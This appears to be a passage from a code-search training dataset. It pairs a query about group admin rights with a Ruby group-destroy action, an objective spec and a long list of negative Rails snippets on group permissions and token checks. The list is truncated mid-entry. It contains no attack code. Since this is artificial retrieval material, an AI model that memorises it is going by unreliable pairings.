"0.5547718",
"0.5544461",
"0.55426526",
"0.5542251",
"0.5541648",
"0.5540271",
"0.5538966",
"0.55316794",
"0.55286723",
"0.5527105",
"0.55216205",
"0.5521243",
"0.5521243",
"0.55210894",
"0.5518437",
"0.55125785",
"0.5511766",
"0.5511265",
"0.5511235",
"0.5509773",
"0.55032337",
"0.5498252",
"0.5497619",
"0.5490793",
"0.54892623",
"0.5488392",
"0.5487742",
"0.54746234",
"0.5467746",
"0.5465512",
"0.5454843",
"0.5446896",
"0.54455173",
"0.5440413",
"0.54369736",
"0.5435332",
"0.5431454",
"0.54309547",
"0.54253876",
"0.5422046"
] |
0.0
|
-1
|
params: access_token, group_id, group[variable] admin's right
|
def update
if @group.update_attributes(params[:group])
respond_with(@group, only: [:id, :name, :creator_id, :admin_id])
else
render_error(404, request.path, 20103, "Failed to update group info")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def authorization_required\n return true if admin?\n\n if [email protected]_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end",
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def show\n authorize @group\n end",
"def group_required\n required_group = Group.find_or_create_by(:name => \"Admin\")\n unless current_user.groups.is_member?(required_group)\n flash[:error] = \"The function you wish to use is only available to admin users\"\n redirect_to root_path\n end\n end",
"def is_admin\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_admin?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def admin_new\n @guidance_group = GuidanceGroup.new\n authorize @guidance_group\n end",
"def group_params\n params.require(:group).permit(:name, rights_attributes: [:id, :name, :is_available, :right_ids])\n end",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def admin_new\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.new(org_id: current_user.org.id)\n authorize @guidance_group\n end",
"def add_group_permission(g)\n\t\t\n\tend",
"def update\n #logger.info \"Put parameters: #{params.to_json}\"\n\n if @membership.admin \n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n else \n render json: {error: \"YOU MUST BE AN ADMINISTRATOR TO COMPLETE THIS ACTION\"}, status: :unprocessable_entity\n end \n end",
"def group_params\n params.permit(:group_title, :image, new_members: [], del_members: [], new_admins: [], del_admins: [])\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def admin_update\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n\n if @guidance_group.update(guidance_group_params)\n flash.now[:notice] = success_message(@guidance_group, _('saved'))\n else\n flash.now[:alert] = failure_message(@guidance_group, _('save'))\n end\n render :admin_edit\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def show\n authorize! :show, @group\n end",
"def group_params\n params.require(:group).permit(:name, :access_level)\n end",
"def is_admin_in(group)\n unless group.admins.include? current_user\n flash[:danger] = \"Devi essere un amministratore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def show_group\n group_name = params[:name]\n @group = $iam.groups[group_name]\n @users = @group.users\n @policies = @group.policies\n end",
"def group_params\n params.require(:group).permit(*Group.permissions(current_user))\n end",
"def admin_user\n @group = Membership.find(params[:id]).group\n redirect_to group_members_url(@group) unless @group.has_admin?(current_user)\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end",
"def show\n @group = Group.find(params[:id])\n redirect_to groups_path, :flash => {:warning => \"Permission Denied\"}\\\n unless current_power.group? @group\n end",
"def new_group_params\n admin_params = {:admin_user => current_user, :admin_password => session[:pwd]}\n params[:group].merge(admin_params)\n end",
"def admin_user\n @group = Group.find(by_id)\n redirect_to @group unless @group.has_admin?(current_user)\n end",
"def admin_of(group)\n current_user.is_admin?(group)\n end",
"def update\n# debug(params[:group][:right_ids] Pour faire un debuggage dans le controlleur\n @group = Group.find(params[:id])\n @group.rights.clear\n\n #Mise à jour de droits que possède un groupe\n params[:group][:right_ids] ||= []\n params[:group][:right_ids].each do |right|\n if !(right.blank?)\n @group.add_right(Right.find_by_id(right))\n end\n end\n\n respond_to do |format|\n if @group.update(group_params)\n\n format.html { redirect_to @group, notice: t('group.updated_msg') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def show\n @game.group = @group\n authorize @game\n end",
"def makePriv #:doc:\n if params[:i_am_client] and params[:groups] == nil\n # Groups were searched in editRights-method\n param_groups = @groups\n else\n param_groups = params[:groups]\n end\n \n # try to get file from database\n if not fetchFile\n if params[:i_am_client] \n render :text => \"File not found\", :status => 404\n return\n else\n @error = \"File not found!\"\n render \"viewFileRights\"\n return\n end\n end\n \n begin \n # all groups owned by user\n mygroups = Group.find(:all, :conditions => [\"user_id = ?\", @user.id])\n \n # all groups associated with the file\n filegroup_ids = Array.new\n @file.groups.find(:all).each do |t|\n filegroup_ids.push(t.id)\n end\n \n # check which groups should have access to file\n delete_auth_groups = \"\"\n mygroups.each do |mygroup|\n if param_groups[mygroup.name] == \"1\" and not filegroup_ids.include?(mygroup.id)\n # if group-checkbox is checked, group gets permission to access file\n @file.devfile_auth_groups.create(:group_id => mygroup.id)\n elsif param_groups[mygroup.name] == \"0\" and filegroup_ids.include?(mygroup.id)\n # if group-checkbox is not checked, unauthorize fileaccess to this file\n if delete_auth_groups == \"\" then delete_auth_groups += \"group_id IN (#{mygroup.id}\"\n else delete_auth_groups += \", #{mygroup.id}\" end\n end\n end\n if delete_auth_groups != \"\"\n delete_auth_groups += \") AND devfile_id = ?\"\n DevfileAuthGroup.delete_all([delete_auth_groups, @file.id])\n end\n \n # make file private\n @file.update_attribute(:privatefile, true)\n \n rescue => e\n puts \"Error in editing filerights: \" + e\n if params[:i_am_client] \n render :text => \"Error in editing filerights: \" + e, :status => 409\n return\n else\n @error = \"Error in editing filerights: \" + e\n render \"Error in editing filerights: \" + e\n return\n end\n end\n \n if params[:i_am_client]\n render :text => \"#{@file.name} visibility modified.\", :status => 200\n return\n else\n flash[:notice] = \"#{@file.name} visibility modified.\"\n redirect_to :action => \"viewFileRights\"\n end\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def edit\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Can't Edit. You are not the group owner\" }\n format.json { render json: \"Only owners can edit the respective group page\", status: :unauthorized }\n end\n end\n end",
"def approve_group\n if params[:g].present?\n if request.post? #Approve\n @group2 = Group.find(params[:g])\n if @group.approve_group(@group2)\n flash[:success] = \"You're now connected to #{@group2.name}.\"\n @group.notify_of_new_connection(@group2)\n end\n elsif request.delete? #DENY\n @group2 = Group.find(params[:g])\n if @group.deny_group(@group2)\n flash[:success] = \"Connection denied.\"\n end\n end\n end\n redirect_to @group\n end",
"def access_group_params\n params.require(:access_group).permit(:name, :ldap_group_list)\n end",
"def group\n strong_memoize(:group) do\n if params[:group_id].present? && valid_request?\n the_group = Group.find_by(id: params[:group_id])\n can?(current_user, :read_group, the_group) ? the_group : nil\n end\n end\n end",
"def manage_group\n @group = Group.find(params[:id])\n end",
"def set_variables\n @group = Group.find(params[:group_id])\n @category = @group.categories.find(params[:category_id])\n @text_page = @category.text_page\n @authorised_member= is_user_of_group?(@group)\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def manage_groups\n @other_user = @login_user\n @groups = @login_user.groups\n end",
"def index\n @resources = Group.search(params[:search]).where(id: current_user.admin_groups).order(\"#{sort_column} #{sort_direction}\").paginate(per_page: 11, page: params[:page])\n authorize @resources\n end",
"def atest_ID_25862_new_post_in_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"Family\")\n logout_common\n login_as_user2\n post_to_any_group(\"Family\",groupName)\n logout_common\n login_as_user1\n verify_updates\n end",
"def group_params\n params.permit(:name, :share_id, :description, :image, :privacy, :admins_can_add_users, :members_can_create_polls)\n end",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def group_admin\n @attributes[:group_admin]\n end",
"def create\n @group = Group.new(group_params)\n #On vérifie que la liste de droits d'un groupe est effacé\n @group.rights.clear\n\n #On ajoute les droits choisis par un utilisateur\n params[:group][:right_ids] ||= []\n params[:group][:right_ids].each do |right|\n if !(right.blank?)\n @group.add_right(Right.find_by_id(right))\n end\n end\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: t('group.created_msg') }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_admin? group\n g = group.groups_userss.detect{|i| i.user_id == session[:id]}\n g.is_admin unless g.nil?\n end",
"def create\n ip = request.location\n @user = current_user\n @group = @user.groups_as_owner.new(params[:group])\n params[:group][:member_ids] = (params[:group][:member_ids] << @group.member_ids).flatten\n @group.school_id = @user.school_id\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def require_admin_of_group\n if !admin_of(current_group)\n # TODO: add flash alert\n redirect_back fallback_location: current_group\n end\n end",
"def index\n @group = current_user.groups.find_by(id: params[:group_id]) || @groups.first\n end",
"def admin_create\n # Ensure that the user can only create GuidanceGroups for their Org\n args = guidance_group_params.to_h.merge({ org_id: current_user.org.id })\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.new(args)\n authorize @guidance_group\n\n if @guidance_group.save\n flash.now[:notice] = success_message(@guidance_group, _('created'))\n render :admin_edit\n else\n flash.now[:alert] = failure_message(@guidance_group, _('create'))\n render :admin_new\n end\n end",
"def edit\n @group = current_user.created_groups.find(params[:id])\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def group_params\n params.require(:group).permit(:owner_id, :parent_id, :name, :permissions)\n end",
"def index\n @member_groups = @user.groups_where_member\n @admin_groups = @user.groups_where_admin\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end",
"def test_should_join_a_group_as_admin_via_API_JSON\r\n get \"/logout\"\r\n post \"/memberships.json\", :api_key => 'testapikey',\r\n :group_id => 1,\r\n :user_id => 1\r\n assert_response :created\r\n membership = JSON.parse(response.body)\r\n assert membership['user_id'] == 1, 'Incorrect user id'\r\n assert membership['group_id'] == 1, 'Incorrect group id'\r\n assert membership['role_id'].to_i == Role.find_by_rolename('group_admin').id, 'Incorrect role id' \r\n end",
"def group_params\n params.require(:group).permit!\n #params.require(:group).permit(:name, :email, :course_id, :creator_id, :creator_username, :creator_firstname, :creator_lastname, :creator_email, :members)\n end",
"def is_super_admin_in(group)\n unless group.super_admin == current_user\n flash[:danger] = \"Devi essere il fondatore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def admin_create\n @guidance_group = GuidanceGroup.new(guidance_group_params)\n authorize @guidance_group\n @guidance_group.org_id = current_user.org_id\n if params[:save_publish]\n @guidance_group.published = true\n end\n\n if @guidance_group.save\n flash.now[:notice] = success_message(@guidance_group, _(\"created\"))\n render :admin_edit\n else\n flash.now[:alert] = failure_message(@guidance_group, _(\"create\"))\n render :admin_new\n end\n end",
"def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def discover_groups\n super << Hydra::AccessControls::AccessRight::PERMISSION_TEXT_VALUE_AUTHENTICATED\n end",
"def update\n @user_group = UserGroup.find_by_id(params[:id])\n permission_ids = params[\"permissions\"] || []\n permission_ids.map! {|p| p.to_i}\n current_permission_ids = @user_group.permission_ids\n group_name = params[\"user_group\"][\"name\"]\n\n existed_group = UserGroup.where(:name =>group_name)\n if existed_group.empty? || existed_group.first.id == params[:id].to_i\n if @user_group.update_attributes(params[\"user_group\"])\n\n # The update action make log saved or not\n is_logged = !@user_group.previous_changes.blank?\n if current_permission_ids != permission_ids\n @user_group.permission_ids = permission_ids\n\n # Create log if not logged before\n @user_group.create_activity :update, owner: current_user, params: {:detail => I18n.t('logs.update_group', group_name: @user_group.name)} if !is_logged\n end\n redirect_to organization_user_groups_path(params[:organization_id])\n end\n else\n flash[:error] = t('user_group.exist')\n redirect_to edit_organization_user_group_path(params[:organization_id],@user_group)\n end\n end",
"def show\n @group = Group.find_by_guid(params[:id])\n respond_to do |format|\n format.json {\n if @group.password == params[:password]\n render json: @group\n else\n render json: \"Forbidden\", status: :forbidden\n end\n }\n format.html # show.html.erb\n end\n end",
"def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end",
"def set_perms(data)\n permission = data[:permission] || 2 \n result = @client.api_request(\n :method => \"usergroup.massAdd\", \n :params => {\n :usrgrpids => [data[:usrgrpid]],\n :rights => data[:hostgroupids].map { |t| {:permission => permission, :id => t} }\n }\n )\n result ? result['usrgrpids'][0].to_i : nil\n end",
"def admin_of?(group)\n memberships.exists?(group_id: group.id, admin: true)\n end",
"def assign_group\n session[:group] = params[:group] if params[:group]\n end",
"def group_params\n params.require(:group).permit(:member,:name, :region, :console_id,{:game_ids => []}, :description)\n end",
"def create\n\n group = Group.create(group_parm.merge(account_id: current_user.id)) #group creater current user will be the admin of group\n if group.save!\n render :json => Base64.encode64(group.id.to_s) and return\n else\t\t \n render :json => group.errors.full_messages.first and return\n end \n end",
"def show\n #logger.info \"GroupsController Get Parameters: #{params}\"\n if @group\n render json: @group.to_json(:include => {:memberships => {:only => [:admin], :include => {:user => {:only => [:id, :first_name, :last_name, :email]}}}})\n else\n render json: {error: \"YOU MUST BE MEMBER OF THIS GROUP TO SEE IT\"}, status: :unprocessable_entity\n end\n end",
"def update\n @group_member = GroupMember.find(params[:id])\n\n if @group_member.group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group_member.group, notice: 'User not authorized.' }\n format.json { render json: @group_member, status: :not_authorized, location: @group_member }\n end\n return\n end\n \n respond_to do |format|\n if @group_member.update_attributes(params[:group_member])\n format.html { redirect_to @group_member, notice: 'Group member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n authorize! :see, Group\n @groups = Group.all\n end",
"def get_params\r\n #params.require(:group).permit(:name, :description, :pid, :ancestry, :active, :user_id)\r\n params.require(:group).permit!\r\n\r\n end",
"def set_group\n @group = current_user.groups.find(params[:group_id])\n end",
"def set_viewing_group\n @viewing_group = @pcp_subject.viewing_group_map( current_user )\n render_no_permission if @viewing_group == 0 \n end",
"def create\n @group = Group.new(params[:group])\n \n if [email protected]?\n @user=User.find(@group.admin)\n puts \"///////group controller create//////////\"+ @user.to_json\n @user.update_attributes(role: '1')\n @user.update_attributes(group_id: @group._id)\n end\n if @group.save\n puts \"############admin.nil######\"+ @user.to_json\n #format.html { redirect_to @group, notice: 'Group was successfully created.' }\n render 'show'\n else\n render json: \"Error\", status: 406\n end\n #format.html { render action: \"new\" }\n # format.json { render json: @group.errors, status: :unprocessable_entity \n end",
"def set_reservoir_group\n @reservoir_group = ReservoirGroup.find(params[:id])\n authorize @reservoir_group\n end",
"def is_admin_of?(group, cookie)\n return false unless group.is_member?(self, cookie)\n PersonConnection.get_group_admin_status(id, group.id, cookie)[\"entry\"][\"admin_role\"]\n end",
"def manage_group\n member_options = set_members_options\n if member_options.empty?\n shell_out!(\"pw\", \"groupmod\", set_options)\n else\n member_options.each do |option|\n shell_out!(\"pw\", \"groupmod\", set_options, option)\n end\n end\n end",
"def can_create? cuser\n cuser and cuser.admin? or cuser.groups.exists? :id => Group::MOVIES\nend",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def create\n @user_group = UserGroup.new(params[\"user_group\"])\n permission_ids = params[\"permissions\"]\n org_id = params[:organization_id]\n @user_group.permission_ids = permission_ids\n @user_group.organization_id = org_id\n\n if @user_group.save\n redirect_to organization_user_groups_path\n else\n flash[:error] = t('user_group.exist')\n @permissions = Permission.get_hash_group_permission\n render :new\n end\n\n end",
"def do_not_rename_or_destroy_admins_group\n if @group and @group.is_the_administrators_group?\n redirect_to :action => 'list' and return false\n end\n end",
"def group_params\n params[:group]\n end",
"def group_params\n params[:group]\n end",
"def group_params\n params[:group]\n end",
"def create\n # Must check that user's account allows multiple groups\n Group.rebuild! if nil.|Group.find(:first).rgt\n @group = Group.new(params[:group])\n\t \n\t if params[:group][:parent_id].blank?\n\t Logger.error \"Cannot create group via CREATE action withouth parent_id\" \n\t flash[:notice] = \"Can not create a group this way without a specifying a parent\"\n else\n\t # Must check that the current_user has admin privileges on parent or a parent of parent.\n\t parent = Group.find_by_id(params[:group][:parent_id]) \n if current_user.can_create_child_group(parent)\n @group.account = parent.account\n else\n flash[:notice] = \"You do not have sufficient privileges to create new group for #{parent.name}\"\n end \n end\n\t \n\t #a new group should be saved, and then an Admin privilige for the creator should be created\n\t #note: groups validates presence of 'account'\n\n respond_to do |format|\n begin\n Priviledge.transaction do\t \n\t @group.save!\n\t @group.move_to_child_of parent #awesome nested set action.\n\t Priviledge.create!(:user => current_user, :group => @group, :level => Level.find_by_name('admin'))\n\t \t \n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n end \n rescue\n Group.rebuild! #don't know if this is needed, but it can't hurt, except for time.\n @groups = current_user.get_unique_group_branches.map {|g| g.get_self_and_children?}.flatten\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def groups_access(access)\n group_ids = group_ids_access(access)\n Group.where(id: group_ids)\n end",
"def administrator?\n immortal? or groups.find_by_administrators true\n end",
"def user_params\n params.require(:user).permit(:current_user, :group_ids => [])\n end",
"def show\n @group = Group.includes(:users).find(params[:id])\n @group_member = GroupMember.new\n @group_member.group = @group\n\n if params[:from_reading_list]\n @reading_list = ReadingList.find(params[:from_reading_list])\n else\n @reading_list = nil\n end\n\n respond_to do |format|\n if @group.owner == current_user\n format.html\n format.json { render json: @group }\n else\n msg = \"You are not authorized to access group #{params[:id]}.\"\n format.html { redirect_to groups_url, alert: msg }\n format.json { render json: msg }\n end\n end\n end"
] |
[
"0.69551826",
"0.67079365",
"0.654343",
"0.64383984",
"0.6383407",
"0.63450813",
"0.6333881",
"0.63212365",
"0.6315154",
"0.6273549",
"0.62636423",
"0.6235166",
"0.6233018",
"0.62291163",
"0.61958206",
"0.6192573",
"0.61823225",
"0.6181392",
"0.6170887",
"0.6126428",
"0.6126202",
"0.6112361",
"0.6109353",
"0.6102036",
"0.6076444",
"0.605164",
"0.6032335",
"0.60169035",
"0.6016155",
"0.60155493",
"0.5993801",
"0.5985839",
"0.598239",
"0.5952224",
"0.5945852",
"0.5943677",
"0.5942851",
"0.5939909",
"0.59358394",
"0.59271175",
"0.59157604",
"0.5907611",
"0.58965915",
"0.5865824",
"0.5864014",
"0.5853983",
"0.5849084",
"0.5836064",
"0.582825",
"0.5821071",
"0.5821012",
"0.58190936",
"0.5818086",
"0.5811175",
"0.5810248",
"0.58066344",
"0.58065355",
"0.5804568",
"0.57977736",
"0.57931894",
"0.5792577",
"0.5791468",
"0.5774471",
"0.57694715",
"0.57619464",
"0.5756095",
"0.57473016",
"0.57473016",
"0.57473016",
"0.57303375",
"0.5729629",
"0.57164305",
"0.570881",
"0.57076687",
"0.56996274",
"0.56979436",
"0.56939805",
"0.56859183",
"0.5685774",
"0.5673591",
"0.56657344",
"0.5664813",
"0.5661877",
"0.56595373",
"0.56544906",
"0.56540465",
"0.56537807",
"0.5653596",
"0.5646471",
"0.56395376",
"0.5634242",
"0.56287456",
"0.56254965",
"0.5624667",
"0.5624667",
"0.5624667",
"0.56214696",
"0.5621341",
"0.56177825",
"0.5617296",
"0.5614861"
] |
0.0
|
-1
|
params: access_token, group_id admin's right
|
def destroy
if @group.destroy
render json: {result: 1}
else
render json: {result: 0}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def authorization_required\n return true if admin?\n\n if [email protected]_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end",
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def show\n authorize @group\n end",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def is_admin\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_admin?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def admin_new\n @guidance_group = GuidanceGroup.new\n authorize @guidance_group\n end",
"def show\n authorize! :show, @group\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def admin_new\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.new(org_id: current_user.org.id)\n authorize @guidance_group\n end",
"def update\n #logger.info \"Put parameters: #{params.to_json}\"\n\n if @membership.admin \n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n else \n render json: {error: \"YOU MUST BE AN ADMINISTRATOR TO COMPLETE THIS ACTION\"}, status: :unprocessable_entity\n end \n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def group_required\n required_group = Group.find_or_create_by(:name => \"Admin\")\n unless current_user.groups.is_member?(required_group)\n flash[:error] = \"The function you wish to use is only available to admin users\"\n redirect_to root_path\n end\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def approve_group\n if params[:g].present?\n if request.post? #Approve\n @group2 = Group.find(params[:g])\n if @group.approve_group(@group2)\n flash[:success] = \"You're now connected to #{@group2.name}.\"\n @group.notify_of_new_connection(@group2)\n end\n elsif request.delete? #DENY\n @group2 = Group.find(params[:g])\n if @group.deny_group(@group2)\n flash[:success] = \"Connection denied.\"\n end\n end\n end\n redirect_to @group\n end",
"def add_group_permission(g)\n\t\t\n\tend",
"def access_token\n end",
"def group_params\n params.require(:group).permit(:name, rights_attributes: [:id, :name, :is_available, :right_ids])\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end",
"def admin_update\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n\n if @guidance_group.update(guidance_group_params)\n flash.now[:notice] = success_message(@guidance_group, _('saved'))\n else\n flash.now[:alert] = failure_message(@guidance_group, _('save'))\n end\n render :admin_edit\n end",
"def restrict_access\n authenticate_or_request_with_http_token do | token , options |\n ApiKey.exists?(access_token: token)\n end\n end",
